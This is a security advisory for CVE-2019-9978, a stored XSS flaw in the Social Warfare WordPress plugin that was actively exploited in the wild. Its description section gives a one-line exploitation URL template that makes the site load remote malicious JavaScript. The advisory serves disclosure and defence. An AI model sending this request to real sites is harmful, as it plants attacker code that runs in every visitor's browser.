Zero-day vulnerability in WordPress Social Sharing Plugin – Social Warfare

Cross-site scripting
CVE-2019-9978

A stored XSS vulnerability in the Social Warfare plugin, used by 70 000 users, led to a mass hacking campaign of WordPress websites.

Vulnerability details

Advisory: SB2019032105 - Stored XSS in Social Warfare WordPress plugin

Vulnerable component: WordPress Social Sharing Plugin – Social Warfare

CVE-ID: CVE-2019-9978

CVSSv3 score: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N/E:H/RL:O/RC:C

CWE-ID: CWE-79 - Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

Description:

The vulnerability allows a remote attacker to perform cross-site scripting attacks.

The vulnerability exists due to usage of the eval() JavaScript call on data passed via the  "swp_url" HTTP GET parameter to "/wp-admin/admin-post.php" script, when "swp_debug" is set to "load_options", allowing to permanently inject and execute arbitrary JavaScript code on the website. A remote unauthenticated attacker can store a specially crafted JavaScript code into database and execute it in browser of every website visitor.

Note: this vulnerability is being actively exploited in the wild.

Exploitation example: 

http://[host]/wp-admin/admin-post.php?swp_debug=load_options&swp_url=http://[malicious_js_script]/

Public Exploits:

- Wordpress Plugin Social Warfare < 3.5.3 - Remote Code Execution [Exploit-DB]

External links:

About zero-day vulnerabilities

Zero-day vulnerability is an undisclosed vulnerability in software that hackers can exploit to compromise computer programs, gain unauthorized access to sensitive data, penetrate networks, etc. We consider vulnerability a zero-day when there is no solution provided from software vendor and the vulnerability is being actively exploited by malicious actors.

Zero-day candidate is a potential zero-day vulnerability in software which might have been used in targeted attacks, however there is no evidence to support this suggestion.